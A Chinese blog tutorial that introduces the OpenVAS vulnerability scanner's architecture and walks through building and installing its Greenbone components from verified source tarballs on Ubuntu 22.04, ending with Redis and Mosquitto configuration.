OpenVAS部署、使用与原理分析

文章目录


前言

  本博客的主要内容为OpenVAS的部署、使用与原理分析。本博文内容较长,因为涵盖了OpenVAS的几乎全部内容,从部署的详细过程到如何使用OpenVAS对靶机进行测试,以及对OpenVAS进行漏洞检测的原理分析,相信认真读完本博文,各位读者一定会对OpenVAS有更深的了解。以下就是本篇博客的全部内容了。


1、概述

  OpenVAS(Open Vulnerability Assessment System)是一款用于漏洞评估和安全扫描的开源工具。它提供了一套强大的漏洞扫描和管理工具,用于评估计算机系统、网络和应用程序中存在的安全漏洞。OpenVAS的主要特点包括:

  • 开源和免费:OpenVAS是一个开源项目,可以免费使用。这意味着各位读者可以访问源代码并自行定制、扩展和修改工具以满足各位读者的需求
  • 综合的漏洞扫描:OpenVAS能够检测多种不同类型的漏洞,包括操作系统漏洞、网络服务漏洞、应用程序漏洞等。它提供了一种综合的方式来评估整个网络的安全性
  • 广泛的漏洞数据库:OpenVAS使用一个广泛的漏洞数据库,可以检测和识别已知的漏洞,包括常见漏洞及最新的安全威胁
  • 自定义扫描配置:用户可以自定义扫描配置,以满足其特定需求。这包括配置扫描目标、扫描频率、报告格式等
  • 报告和结果输出:OpenVAS会生成详细的扫描报告,其中包含有关发现的漏洞、建议的修复措施和风险级别的信息。这有助于组织更好地了解其系统的安全状况
  • 多种操作系统支持:OpenVAS可以运行在多种不同操作系统上,包括Linux、Windows、FreeBSD等
  • 可扩展性:OpenVAS具有可扩展性,支持插件和脚本,允许用户添加自定义检测和报告功能
  • Web用户界面:OpenVAS附带一个易于使用的Web用户界面,使用户能够轻松配置扫描任务、查看报告和管理扫描结果

  总之,OpenVAS是一款功能强大的漏洞扫描工具,可用于识别和评估计算机网络和应用程序中的漏洞,以帮助组织加强其信息安全和网络安全。它可以在渗透测试、漏洞管理和网络安全监控中发挥关键作用。此外,OpenVAS工具基于Python语言、Go语言、JavaScript语言、C语言和Rust语言开发。我们下面来看一下OpenVAS工具的架构图:
在这里插入图片描述

  • OpenVAS Manager:其作用是控制Scanner和其它Manager的中心组件,还用来控制中心数据库,并保存用户配置及扫描结果。客户端可以使用基于XML的无状态OMP协议及其通信,并对其进行集中排序筛选,使客户端获得一致展现。总之,此组件的主要作用是负责分配扫描任务,并根据扫描结果生产评估报告
  • OpenVAS Scanner:其作用是具体执行Network Vulnerability Tests(NVTs),NVTs每天通过Feed更新,并受OpenVAS Manager的控制。此部分也是非常重要的一部分。总之,此组件的主要作用是负责调用各种漏洞检测插件,以完成实际的扫描操作
  • OpenVAS Administrator:此组件的主要作用是负责管理配置信息和用户授权等相关工作
  • Greenbone Security Assistant:这部分又简称为GSA,其作用是提供Web Service,可以通过浏览器访问来对OpenVAS工具的各个组件进行操作,故这部分也是使用最便捷的客户层组件。总之,此组件的主要作用是负责提供访问OpenVAS服务层的Web接口,以便于通过浏览器来创建扫描任务
  • OpenVAS CLI:其作为omp命令行工具使用,可实现批处理控制OpenVAS Manager。总之,此组件的主要作用是负责提供从命令行访问OpenVAS服务层程序
  • Greenbone Security Desktop:此组件的主要作用是负责提供访问OpenVAS服务层的图形程序界面,其主要在Windows客户机中使用
  • NVT’s:这就是Network Vulnerability Tests(NVTs)的集合,这部分存放了大量的漏洞测试代码,用来给OpenVAS Scanner调用
  • Results,Configs:其作为存储和配置。包括扫描策略、扫描事项等一系列的配置信息、扫描的结果和漏洞情况等

2、安装与使用

软件环境硬件环境约束条件
ubuntu-22.04.1-desktop-amd64(内核版本5.15.0-43-generic)内存8GB具体的约束条件可见“2.1、源码安装”章节所示的软件版本约束
其余的软件环境可见“2.1、源码安装”章节所示的软件环境硬盘100GBMetasploitable3靶机环境需要开启硬件虚拟化,具体可见“3.3、对Metasploitable3靶机进行测试”章节所示的内容
暂无OpenVAS部署在VMware Pro 17上的Ubuntu22.04.1系统上(主机系统为Windows11),硬件环境和软件环境也是对应的VMware Pro 17的硬件环境和软件环境暂无

2.1、源码安装

2.1.1、准备工作

2.1.1.1、创建用户和组
  1. 使用如下命令创建一个名为“gvm”的用户和同名的组,并将其添加到名为“sudo”的用户组中,以便该用户可以使用sudo命令以超级用户权限执行特权操作,同时禁止了该用户的直接登录权限:
$ sudo useradd -r -M -U -G sudo -s /usr/sbin/nologin gvm
2.1.1.2、调整当前用户
  1. 要允许当前用户运行gvmd,必须将其添加到刚刚创建的gvm组中,并使用su命令使修改当前用户所属组的更改生效:
$ sudo usermod -aG gvm $USER
$ su $USER
2.1.1.3、设置安装路径前缀
  1. 使用如下命令设置OpenVAS的安装路径前缀为“/usr/local”
$ export INSTALL_PREFIX=/usr/local
2.1.1.4、设置环境变量
  1. 由于“/sbin”、“/usr/sbin”和“/usr/local/sbin”的位置不在普通用户的PATH环境变量中,所以要运行位于“/usr/local/sbin”中的gvmd,应该调整PATH环境变量:
$ export PATH=$PATH:$INSTALL_PREFIX/sbin
2.1.1.5、设置Source、Build和Install目录
  1. 然后设置OpenVAS的源目录的环境变量并创建此源目录:
$ export SOURCE_DIR=$HOME/source
$ mkdir -p $SOURCE_DIR
  1. 然后设置OpenVAS的构建目录的环境变量并创建此目录:
$ export BUILD_DIR=$HOME/build
$ mkdir -p $BUILD_DIR
  1. 然后设置OpenVAS的临时安装目录的环境变量并创建此目录:
$ export INSTALL_DIR=$HOME/install
$ mkdir -p $INSTALL_DIR
2.1.1.6、下载安装通用构建依赖项
  1. 首先下载安装OpenVAS构建所需要的依赖:
$ sudo apt update
$ sudo apt install --no-install-recommends --assume-yes \
build-essential \
curl \
cmake \
pkg-config \
python3 \
python3-pip \
    gnupg
2.1.1.7、导入Greenbone签名密钥
  1. 为了验证下载的OpenVAS源文件的完整性,使用GnuPG。它需要下载Greenbone社区签名公钥并将其导入到当前用户的密钥链:
$ curl -f -L https://www.greenbone.net/GBCommunitySigningKey.asc -o /tmp/GBCommunitySigningKey.asc
$ gpg --import /tmp/GBCommunitySigningKey.asc
  1. 然后将Greenbone社区签名密钥的信任级别设置为完全可信:
$ echo "8AE4BE429B60A59B311C2E739823FAA60ED1E580:6:" | gpg --import-ownertrust

2.1.2、构建和安装组件

  在这一章节中,我们将正式开始构建OpenVAS工具。由于OpenVAS工具需要很多组件来支持其运行,所以在这一章节中我们首先要安装部署OpenVAS工具所需要的各种组件。这些组件的种类共11种,安全的过程也比较复杂,为了方便读者理解我们下面安装部署的各个组件的具体作用,我们通过之前的OpenVAS工具的架构图,进行一些拓展,将各个组件的具体作用以及各个组件的关系通过新的架构图展示,如下图所示。
在这里插入图片描述
  其中紫色的部分代表构成绿色服务的核心组件,比如名为“openvas-scanner”的组件和名为“openvas-smb”的组件就构成了OpenVAS Scanner服务。而橙色的部分代表其对应的服务的拓展组件或依赖组件,比如名为“gvm-libs”的组件,就是OpenVAS Scanner服务所依赖的组件。

2.1.2.1、gvm-libs组件的构建和安装
  1. 我们首先设置所使用的gvm-libs的版本为22.7.1。gvm-libs是一个C库,提供XML解析和网络通信等基本功能。它被用于openvas-scanner、gvmd、gsad和pg-gvm:
$ export GVM_LIBS_VERSION=22.7.1
  1. 然后下载安装gvm-libs所必需的依赖:
$ sudo apt-get update
$ sudo apt install -y \
    libglib2.0-dev \
    libgpgme-dev \
    libgnutls28-dev \
    uuid-dev \
    libssh-gcrypt-dev \
    libhiredis-dev \
    libxml2-dev \
    libpcap-dev \
    libnet1-dev \
    libpaho-mqtt-dev
  1. 然后下载安装gvm-libs所可选的依赖(最好还是下载安装上,否则谁知道出现什么问题):
$ sudo apt-get update
$ sudo apt install -y \
    libldap2-dev \
    libradcli-dev
  1. 然后下载gvm-libs源文件:
$ curl -f -L https://github.com/greenbone/gvm-libs/archive/refs/tags/v$GVM_LIBS_VERSION.tar.gz -o $SOURCE_DIR/gvm-libs-$GVM_LIBS_VERSION.tar.gz
$ curl -f -L https://github.com/greenbone/gvm-libs/releases/download/v$GVM_LIBS_VERSION/gvm-libs-v$GVM_LIBS_VERSION.tar.gz.asc -o $SOURCE_DIR/gvm-libs-$GVM_LIBS_VERSION.tar.gz.asc
  1. 然后验证gvm-libs源文件:
$ gpg --verify $SOURCE_DIR/gvm-libs-$GVM_LIBS_VERSION.tar.gz.asc $SOURCE_DIR/gvm-libs-$GVM_LIBS_VERSION.tar.gz
  1. 出现类似如下图所示的内容即代表gvm-libs源文件验证成功:
    在这里插入图片描述

  2. 当我们验证此签名有效后,就可以提取刚刚下载好的tarball文件了:

$ tar -C $SOURCE_DIR -xvzf $SOURCE_DIR/gvm-libs-$GVM_LIBS_VERSION.tar.gz
  1. 然后构建gvm-libs:
$ mkdir -p $BUILD_DIR/gvm-libs && cd $BUILD_DIR/gvm-libs
$ cmake $SOURCE_DIR/gvm-libs-$GVM_LIBS_VERSION \
-DCMAKE_INSTALL_PREFIX=$INSTALL_PREFIX \
-DCMAKE_BUILD_TYPE=Release \
-DSYSCONFDIR=/etc \
-DLOCALSTATEDIR=/var
$ make -j$(nproc)
  1. 最后使用如下命令安装gvm-libs:
$ mkdir -p $INSTALL_DIR/gvm-libs
$ make DESTDIR=$INSTALL_DIR/gvm-libs install
$ sudo cp -rv $INSTALL_DIR/gvm-libs/* /
2.1.2.2、gvmd组件的构建和安装
  1. 我们首先设置所使用的gvmd的版本为22.9.0。gvmd(Greenbone漏洞管理守护程序)是Greenbone社区版的主要服务。它处理身份验证、扫描管理、漏洞信息、报告、警告、调度等等。作为存储后端,它使用PostgreSQL数据库:
$ export GVMD_VERSION=22.9.0
  1. 然后下载安装gvmd所必需的依赖:
$ sudo apt-get update
$ sudo apt install -y \
    libglib2.0-dev \
    libgnutls28-dev \
    libpq-dev \
    postgresql-server-dev-15 \
    libical-dev \
    xsltproc \
    rsync \
    libbsd-dev \
    libgpgme-dev
  1. 然后下载安装gvmd所可选的依赖(最好还是下载安装上,否则谁知道出现什么问题):
$ sudo apt-get update
$ sudo apt install -y --no-install-recommends \
    texlive-latex-extra \
    texlive-fonts-recommended \
    xmlstarlet \
    zip \
    rpm \
    fakeroot \
    dpkg \
    nsis \
    gnupg \
    gpgsm \
    wget \
    sshpass \
    openssh-client \
    socat \
    snmp \
    python3 \
    smbclient \
    python3-lxml \
    gnutls-bin \
    xml-twig-tools
  1. 然后下载gvmd源文件:
$ curl -f -L https://github.com/greenbone/gvmd/archive/refs/tags/v$GVMD_VERSION.tar.gz -o $SOURCE_DIR/gvmd-$GVMD_VERSION.tar.gz
$ curl -f -L https://github.com/greenbone/gvmd/releases/download/v$GVMD_VERSION/gvmd-$GVMD_VERSION.tar.gz.asc -o $SOURCE_DIR/gvmd-$GVMD_VERSION.tar.gz.asc
  1. 然后验证gvmd源文件:
$ gpg --verify $SOURCE_DIR/gvmd-$GVMD_VERSION.tar.gz.asc $SOURCE_DIR/gvmd-$GVMD_VERSION.tar.gz
  1. 出现类似如下图所示的内容即代表gvmd源文件验证成功:
    在这里插入图片描述

  2. 当我们验证此签名有效后,就可以提取刚刚下载好的tarball文件了:

$ tar -C $SOURCE_DIR -xvzf $SOURCE_DIR/gvmd-$GVMD_VERSION.tar.gz
  1. 然后构建gvmd:
$ mkdir -p $BUILD_DIR/gvmd && cd $BUILD_DIR/gvmd
$ cmake $SOURCE_DIR/gvmd-$GVMD_VERSION \
    -DCMAKE_INSTALL_PREFIX=$INSTALL_PREFIX \
    -DCMAKE_BUILD_TYPE=Release \
    -DLOCALSTATEDIR=/var \
    -DSYSCONFDIR=/etc \
    -DGVM_DATA_DIR=/var \
    -DGVMD_RUN_DIR=/run/gvmd \
    -DOPENVAS_DEFAULT_SOCKET=/run/ospd/ospd-openvas.sock \
    -DGVM_FEED_LOCK_PATH=/var/lib/gvm/feed-update.lock \
    -DSYSTEMD_SERVICE_DIR=/lib/systemd/system \
-DLOGROTATE_DIR=/etc/logrotate.d
$ make -j$(nproc)
  1. 最后使用如下命令安装gvm-libs:
$ mkdir -p $INSTALL_DIR/gvmd
$ make DESTDIR=$INSTALL_DIR/gvmd install
$ sudo cp -rv $INSTALL_DIR/gvmd/* /

   注:实际执行中遇到的问题及解决方法

  • 问题1:
    1. 在步骤2下载安装gvmd工具所需要的依赖的时候,可能会出现如下问题:
      在这里插入图片描述
    2. 出现这个问题的原因是PostgreSQL 15包在默认的包存储库中不可用,因此使用以下命令启用它的官方包存储库。这样我们就解决了这个问题,然后我们就可以回到步骤2重新继续向下操作:
$ sudo sh -c 'echo "deb http://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main" > /etc/apt/sources.list.d/pgdg.list'
$ wget -qO- https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo tee /etc/apt/trusted.gpg.d/pgdg.asc &>/dev/null
$ sudo apt-get update
2.1.2.3、pg-gvm组件的构建和安装
  1. 我们首先设置所使用的pg-gvm的版本为22.6.1。pg-gvm是一个PostgreSQL服务器拓展,它添加了gvmd使用的几个功能,例如iCalendar和主机范围评估。在以前的版本中,这些功能是由gvmd直接管理的,而pg-gvm使用PostgreSQL中内置的拓展管理:
$ export PG_GVM_VERSION=22.6.1
  1. 然后下载安装pg-gvm所必需的依赖:
$ sudo apt-get update
$ sudo apt install -y \
    libglib2.0-dev \
    postgresql-server-dev-15 \
    libical-dev
  1. 然后下载pg-gvm源文件:
$ curl -f -L https://github.com/greenbone/pg-gvm/archive/refs/tags/v$PG_GVM_VERSION.tar.gz -o $SOURCE_DIR/pg-gvm-$PG_GVM_VERSION.tar.gz
$ curl -f -L https://github.com/greenbone/pg-gvm/releases/download/v$PG_GVM_VERSION/pg-gvm-$PG_GVM_VERSION.tar.gz.asc -o $SOURCE_DIR/pg-gvm-$PG_GVM_VERSION.tar.gz.asc
  1. 然后验证pg-gvm源文件:
$ gpg --verify $SOURCE_DIR/pg-gvm-$PG_GVM_VERSION.tar.gz.asc $SOURCE_DIR/pg-gvm-$PG_GVM_VERSION.tar.gz
  1. 出现类似如下图所示的内容即代表pg-gvm源文件验证成功:
    在这里插入图片描述

  2. 当我们验证此签名有效后,就可以提取刚刚下载好的tarball文件了:

$ tar -C $SOURCE_DIR -xvzf $SOURCE_DIR/pg-gvm-$PG_GVM_VERSION.tar.gz
  1. 然后构建pg-gvm:
$ mkdir -p $BUILD_DIR/pg-gvm && cd $BUILD_DIR/pg-gvm
$ cmake $SOURCE_DIR/pg-gvm-$PG_GVM_VERSION \
-DCMAKE_BUILD_TYPE=Release
$ make -j$(nproc)
  1. 最后使用如下命令安装pg-gvm:
$ mkdir -p $INSTALL_DIR/pg-gvm
$ make DESTDIR=$INSTALL_DIR/pg-gvm install
$ sudo cp -rv $INSTALL_DIR/pg-gvm/* /
2.1.2.4、GSA组件的构建和安装
  1. 我们首先设置所使用的GSA的版本为22.7.1。Greenbone Security Assistant(GSA)源文件由Web服务器gsad和Web应用程序GSA组成,我们在这节构建和安装的就是Web应用程序GSA:
$ export GSA_VERSION=22.7.1
  1. 然后下载GSA源文件:
$ curl -f -L https://github.com/greenbone/gsa/releases/download/v$GSA_VERSION/gsa-dist-$GSA_VERSION.tar.gz -o $SOURCE_DIR/gsa-$GSA_VERSION.tar.gz
$ curl -f -L https://github.com/greenbone/gsa/releases/download/v$GSA_VERSION/gsa-dist-$GSA_VERSION.tar.gz.asc -o $SOURCE_DIR/gsa-$GSA_VERSION.tar.gz.asc
  1. 然后验证GSA源文件:
$ gpg --verify $SOURCE_DIR/gsa-$GSA_VERSION.tar.gz.asc $SOURCE_DIR/gsa-$GSA_VERSION.tar.gz
  1. 出现类似如下图所示的内容即代表GSA源文件验证成功:
    在这里插入图片描述

  2. 当我们验证此签名有效后,就可以提取刚刚下载好的tarball文件了:

$ mkdir -p $SOURCE_DIR/gsa-$GSA_VERSION
$ tar -C $SOURCE_DIR/gsa-$GSA_VERSION -xvzf $SOURCE_DIR/gsa-$GSA_VERSION.tar.gz
  1. 最后使用如下命令安装GSA:
$ sudo mkdir -p $INSTALL_PREFIX/share/gvm/gsad/web/
$ sudo cp -rv $SOURCE_DIR/gsa-$GSA_VERSION/* $INSTALL_PREFIX/share/gvm/gsad/web/
2.1.2.5、gsad组件的构建和安装
  1. 我们首先设置所使用的gsad的版本为22.6.0。Greenbone Security Assistant(GSA)源文件由Web服务器gsad和Web应用程序GSA组成,我们在这节构建和安装的就是Web服务器gsad。Web服务器gsad是用C语言编写的。它提供图像等静态内容,并为Web应用程序提供API。在内部,它使用GMP与gvmd进行通信:
$ export GSAD_VERSION=22.6.0
  1. 然后下载安装gsad所必需的依赖:
$ sudo apt-get update
$ sudo apt install -y \
    libmicrohttpd-dev \
    libxml2-dev \
    libglib2.0-dev \
    libgnutls28-dev
  1. 然后下载gsad源文件:
$ curl -f -L https://github.com/greenbone/gsad/archive/refs/tags/v$GSAD_VERSION.tar.gz -o $SOURCE_DIR/gsad-$GSAD_VERSION.tar.gz
$ curl -f -L https://github.com/greenbone/gsad/releases/download/v$GSAD_VERSION/gsad-$GSAD_VERSION.tar.gz.asc -o $SOURCE_DIR/gsad-$GSAD_VERSION.tar.gz.asc
  1. 然后验证gsad源文件:
$ gpg --verify $SOURCE_DIR/gsad-$GSAD_VERSION.tar.gz.asc $SOURCE_DIR/gsad-$GSAD_VERSION.tar.gz
  1. 出现类似如下图所示的内容即代表gsad源文件验证成功:
    在这里插入图片描述

  2. 当我们验证此签名有效后,就可以提取刚刚下载好的tarball文件了:

$ tar -C $SOURCE_DIR -xvzf $SOURCE_DIR/gsad-$GSAD_VERSION.tar.gz
  1. 然后构建gsad:
$ mkdir -p $BUILD_DIR/gsad && cd $BUILD_DIR/gsad
$ cmake $SOURCE_DIR/gsad-$GSAD_VERSION \
    -DCMAKE_INSTALL_PREFIX=$INSTALL_PREFIX \
    -DCMAKE_BUILD_TYPE=Release \
    -DSYSCONFDIR=/etc \
    -DLOCALSTATEDIR=/var \
    -DGVMD_RUN_DIR=/run/gvmd \
    -DGSAD_RUN_DIR=/run/gsad \
-DLOGROTATE_DIR=/etc/logrotate.d
$ make -j$(nproc)
  1. 最后使用如下命令安装gsad:
$ mkdir -p $INSTALL_DIR/gsad
$ make DESTDIR=$INSTALL_DIR/gsad install
$ sudo cp -rv $INSTALL_DIR/gsad/* /
2.1.2.6、openvas-smb组件的构建和安装
  1. 我们首先设置所使用的openvas-smb的版本为22.5.3。openvas-smb是openvas扫描仪的辅助模块。它包括通过Windows Management Instrumentation API与Microsoft Windows系统接口的库(openvas-wmiclient/openvas-wincmd)和在该系统上远程执行进程的winexe二进制文件。openvas-smb是openvas扫描仪的可选依赖项,但扫描基于Windows的系统时需要它:
$ export OPENVAS_SMB_VERSION=22.5.3
  1. 然后下载安装openvas-smb所必需的依赖:
$ sudo apt-get update
$ sudo apt install -y \
    gcc-mingw-w64 \
    libgnutls28-dev \
    libglib2.0-dev \
    libpopt-dev \
    libunistring-dev \
    heimdal-dev \
    perl-base
  1. 然后下载openvas-smb源文件:
$ curl -f -L https://github.com/greenbone/openvas-smb/archive/refs/tags/v$OPENVAS_SMB_VERSION.tar.gz -o $SOURCE_DIR/openvas-smb-$OPENVAS_SMB_VERSION.tar.gz
$ curl -f -L https://github.com/greenbone/openvas-smb/releases/download/v$OPENVAS_SMB_VERSION/openvas-smb-v$OPENVAS_SMB_VERSION.tar.gz.asc -o $SOURCE_DIR/openvas-smb-$OPENVAS_SMB_VERSION.tar.gz.asc
  1. 然后验证openvas-smb源文件:
$ gpg --verify $SOURCE_DIR/openvas-smb-$OPENVAS_SMB_VERSION.tar.gz.asc $SOURCE_DIR/openvas-smb-$OPENVAS_SMB_VERSION.tar.gz
  1. 出现类似如下图所示的内容即代表openvas-smb源文件验证成功:
    在这里插入图片描述

  2. 当我们验证此签名有效后,就可以提取刚刚下载好的tarball文件了:

$ tar -C $SOURCE_DIR -xvzf $SOURCE_DIR/openvas-smb-$OPENVAS_SMB_VERSION.tar.gz
  1. 然后构建openvas-smb:
$ mkdir -p $BUILD_DIR/openvas-smb && cd $BUILD_DIR/openvas-smb
$ cmake $SOURCE_DIR/openvas-smb-$OPENVAS_SMB_VERSION \
    -DCMAKE_INSTALL_PREFIX=$INSTALL_PREFIX \
-DCMAKE_BUILD_TYPE=Release
$ make -j$(nproc)
  1. 最后使用如下命令安装openvas-smb:
$ mkdir -p $INSTALL_DIR/openvas-smb
$ make DESTDIR=$INSTALL_DIR/openvas-smb install
$ sudo cp -rv $INSTALL_DIR/openvas-smb/* /
2.1.2.7、openvas-scanner组件的构建和安装
  1. 我们首先设置所使用的openvas-scanner的版本为22.7.5。openvas-scanner是一个功能齐全的扫描引擎,它执行不断更新和拓展的漏洞测试(VT)。此扫描引擎由数千个NASL(网络攻击脚本语言)脚本组成,这些脚本实现了各种漏洞检查:
$ export OPENVAS_SCANNER_VERSION=22.7.5
  1. 然后下载安装openvas-scanner所必需的依赖:
$ sudo apt-get update
$ sudo apt install -y \
    bison \
    libglib2.0-dev \
    libgnutls28-dev \
    libgcrypt20-dev \
    libpcap-dev \
    libgpgme-dev \
    libksba-dev \
    rsync \
    nmap \
    libjson-glib-dev \
    libbsd-dev
  1. 然后下载安装openvas-scanner所可选的依赖(最好还是下载安装上,否则谁知道出现什么问题):
$ sudo apt-get update
$ sudo apt install -y python3-impacket
  1. 然后下载openvas-scanner源文件:
$ curl -f -L https://github.com/greenbone/openvas-scanner/archive/refs/tags/v$OPENVAS_SCANNER_VERSION.tar.gz -o $SOURCE_DIR/openvas-scanner-$OPENVAS_SCANNER_VERSION.tar.gz
$ curl -f -L https://github.com/greenbone/openvas-scanner/releases/download/v$OPENVAS_SCANNER_VERSION/openvas-scanner-v$OPENVAS_SCANNER_VERSION.tar.gz.asc -o $SOURCE_DIR/openvas-scanner-$OPENVAS_SCANNER_VERSION.tar.gz.asc
  1. 然后验证openvas-scanner源文件:
$ gpg --verify $SOURCE_DIR/openvas-scanner-$OPENVAS_SCANNER_VERSION.tar.gz.asc $SOURCE_DIR/openvas-scanner-$OPENVAS_SCANNER_VERSION.tar.gz
  1. 出现类似如下图所示的内容即代表openvas-scanner源文件验证成功:
    在这里插入图片描述

  2. 当我们验证此签名有效后,就可以提取刚刚下载好的tarball文件了:

$ tar -C $SOURCE_DIR -xvzf $SOURCE_DIR/openvas-scanner-$OPENVAS_SCANNER_VERSION.tar.gz
  1. 然后构建openvas-scanner:
$ mkdir -p $BUILD_DIR/openvas-scanner && cd $BUILD_DIR/openvas-scanner
$ cmake $SOURCE_DIR/openvas-scanner-$OPENVAS_SCANNER_VERSION \
    -DCMAKE_INSTALL_PREFIX=$INSTALL_PREFIX \
    -DCMAKE_BUILD_TYPE=Release \
    -DINSTALL_OLD_SYNC_SCRIPT=OFF \
    -DSYSCONFDIR=/etc \
    -DLOCALSTATEDIR=/var \
    -DOPENVAS_FEED_LOCK_PATH=/var/lib/openvas/feed-update.lock \
-DOPENVAS_RUN_DIR=/run/ospd
$ make -j$(nproc)
  1. 最后使用如下命令安装openvas-scanner:
$ mkdir -p $INSTALL_DIR/openvas-scanner
$ make DESTDIR=$INSTALL_DIR/openvas-scanner install
$ sudo cp -rv $INSTALL_DIR/openvas-scanner/* /
2.1.2.8、ospd-openvas组件的构建和安装
  1. 我们首先设置所使用的ospd-openvas的版本为22.6.0。ospd-openvas是一个OSP服务器实现,允许gvmd远程控制openvas-scanner。它作为守护进程运行,并等待来自gvmd的OSP请求:
$ export OSPD_OPENVAS_VERSION=22.6.0
  1. 然后下载安装ospd-openvas所必需的依赖:
$ sudo apt-get update
$ sudo apt install -y \
    python3 \
    python3-pip \
    python3-setuptools \
    python3-packaging \
    python3-wrapt \
    python3-cffi \
    python3-psutil \
    python3-lxml \
    python3-defusedxml \
    python3-paramiko \
    python3-redis \
    python3-gnupg \
    python3-paho-mqtt
  1. 然后下载ospd-openvas源文件:
$ curl -f -L https://github.com/greenbone/ospd-openvas/archive/refs/tags/v$OSPD_OPENVAS_VERSION.tar.gz -o $SOURCE_DIR/ospd-openvas-$OSPD_OPENVAS_VERSION.tar.gz
$ curl -f -L https://github.com/greenbone/ospd-openvas/releases/download/v$OSPD_OPENVAS_VERSION/ospd-openvas-v$OSPD_OPENVAS_VERSION.tar.gz.asc -o $SOURCE_DIR/ospd-openvas-$OSPD_OPENVAS_VERSION.tar.gz.asc
  1. 然后验证ospd-openvas源文件:
$ gpg --verify $SOURCE_DIR/ospd-openvas-$OSPD_OPENVAS_VERSION.tar.gz.asc $SOURCE_DIR/ospd-openvas-$OSPD_OPENVAS_VERSION.tar.gz
  1. 出现类似如下图所示的内容即代表ospd-openvas源文件验证成功:
    在这里插入图片描述

  2. 当我们验证此签名有效后,就可以提取刚刚下载好的tarball文件了:

$ tar -C $SOURCE_DIR -xvzf $SOURCE_DIR/ospd-openvas-$OSPD_OPENVAS_VERSION.tar.gz
  1. 最后使用如下命令安装ospd-openvas:
$ cd $SOURCE_DIR/ospd-openvas-$OSPD_OPENVAS_VERSION
$ mkdir -p $INSTALL_DIR/ospd-openvas
$ python3 -m pip install --root=$INSTALL_DIR/ospd-openvas --no-warn-script-location .
$ sudo cp -rv $INSTALL_DIR/ospd-openvas/* /
2.1.2.9、notus-scanner组件的构建和安装
  1. 我们首先设置所使用的notus-scanner的版本为22.6.0。notus-scanner用于通过评估openvas-scanner收集的内部系统信息来检测易受攻击的程序。它通过MQTT与ospd-openvas进行通信。它作为守护进程运行:
$ export NOTUS_VERSION=22.6.0
  1. 然后下载安装notus-scanner所必需的依赖:
$ sudo apt-get update
$ sudo apt install -y \
    python3 \
    python3-pip \
    python3-setuptools \
    python3-paho-mqtt \
    python3-psutil \
    python3-gnupg
  1. 然后下载notus-scanner源文件:
$ curl -f -L https://github.com/greenbone/notus-scanner/archive/refs/tags/v$NOTUS_VERSION.tar.gz -o $SOURCE_DIR/notus-scanner-$NOTUS_VERSION.tar.gz
$ curl -f -L https://github.com/greenbone/notus-scanner/releases/download/v$NOTUS_VERSION/notus-scanner-v$NOTUS_VERSION.tar.gz.asc -o $SOURCE_DIR/notus-scanner-$NOTUS_VERSION.tar.gz.asc
  1. 然后验证notus-scanner源文件:
$ gpg --verify $SOURCE_DIR/notus-scanner-$NOTUS_VERSION.tar.gz.asc $SOURCE_DIR/notus-scanner-$NOTUS_VERSION.tar.gz
  1. 出现类似如下图所示的内容即代表notus-scanner源文件验证成功:
    在这里插入图片描述

  2. 当我们验证此签名有效后,就可以提取刚刚下载好的tarball文件了:

$ tar -C $SOURCE_DIR -xvzf $SOURCE_DIR/notus-scanner-$NOTUS_VERSION.tar.gz
  1. 最后使用如下命令安装notus-scanner:
$ cd $SOURCE_DIR/notus-scanner-$NOTUS_VERSION
$ mkdir -p $INSTALL_DIR/notus-scanner
$ python3 -m pip install --root=$INSTALL_DIR/notus-scanner --no-warn-script-location .
$ sudo cp -rv $INSTALL_DIR/notus-scanner/* /
2.1.2.10、greenbone-feed-sync组件的构建和安装
  1. greenbone-feed-sync是一个基于Python的脚本,用于将Greenbone Community Feed中的所有数据源下载到本地机器。我们首先下载安装greenbone-feed-sync所必需的依赖:
$ sudo apt-get update
$ sudo apt install -y \
    python3 \
    python3-pip
  1. 最后使用如下命令安装greenbone-feed-sync:
$ mkdir -p $INSTALL_DIR/greenbone-feed-sync
$ python3 -m pip install --root=$INSTALL_DIR/greenbone-feed-sync --no-warn-script-location greenbone-feed-sync
$ sudo cp -rv $INSTALL_DIR/greenbone-feed-sync/* /
2.1.2.11、gvm-tools组件的构建和安装
  1. Greenbone Vulnerability Tools简称gvm-tools,是一组有助于远程控制Greenbone Community Edition安装或Greenbone Enterprise Appliance的工具。从本质上讲,这些工具有助于访问通信协议Greenbone Management Protocol(GMP)和Open Scanner Protocol(OSP)。还有一点需要强调的是,gvm-tools是可选的,对于功能性GVM堆栈来说不是必需的,但是我们还是将其构建和安装了,这样方便后面调试和使用。首先我们下载安装gvm-tools的依赖:
$ sudo apt-get update
$ sudo apt install -y \
    python3 \
    python3-pip \
    python3-venv \
    python3-setuptools \
    python3-packaging \
    python3-lxml \
    python3-defusedxml \
    python3-paramiko
  1. 最后使用如下命令安装gvm-tools:
$ mkdir -p $INSTALL_DIR/gvm-tools
$ python3 -m pip install --root=$INSTALL_DIR/gvm-tools --no-warn-script-location gvm-tools
$ sudo cp -rv $INSTALL_DIR/gvm-tools/* /

2.1.3、执行系统设置

2.1.3.1、设置Redis数据存储
  1. 从架构来看,Redis的键/值存储由scanner(openvas-scanner和ospd-openvas)用于处理VT信息和扫描结果。既然需要使用到Redis,那么我们下面就进行Redis服务器的安装:
$ sudo apt install -y redis-server
  1. 安装完Redis服务器后,必须添加openvas-scanner的特定配置,这些特定配置用于运行scanner的Redis服务器:
$ sudo cp $SOURCE_DIR/openvas-scanner-$OPENVAS_SCANNER_VERSION/config/redis-openvas.conf /etc/redis/
$ sudo chown redis:redis /etc/redis/redis-openvas.conf
$ echo "db_address = /run/redis-openvas/redis.sock" | sudo tee -a /etc/openvas/openvas.conf
  1. 然后使用openvas配置启动Redis服务器:
$ sudo systemctl start redis-server@openvas.service
  1. 然后使用如下命令确保每次系统启动时自动启动带有openvas配置的Redis服务器:
$ sudo systemctl enable redis-server@openvas.service
  1. 为了让gvm用户能够访问位于“/run/redis-openvas/redis.sock”的Redis-Unix套接字,使用如下命令将gvm用户添加到redis组:
$ sudo usermod -aG redis gvm
2.1.3.2、设置Mosquitto MQTT Broker
  1. Mosquitto MQTT Broker用于ospd-openvas、openvas-scanner和notus-scanner之间的通信。我们直接使用如下命令下载安装Mosquitto MQTT Broker:
$ sudo apt install -y mosquitto
  1. 安装Mosquitto MQTT Broker后,必须将其启动,并且必须将服务器url添加到openvas-scanner配置中:
$ sudo systemctl start mosquitto.service
$ sudo systemctl enable mosquitto.service
$ echo -e "mqtt_server_uri = localhost:1883\ntable_driven_lsc = yes" | sudo tee -a /etc/openvas/openvas.conf
